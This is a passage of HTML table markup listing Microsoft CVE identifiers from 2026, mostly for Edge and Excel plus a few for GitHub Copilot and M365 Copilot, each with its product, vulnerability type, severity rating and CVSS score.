  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
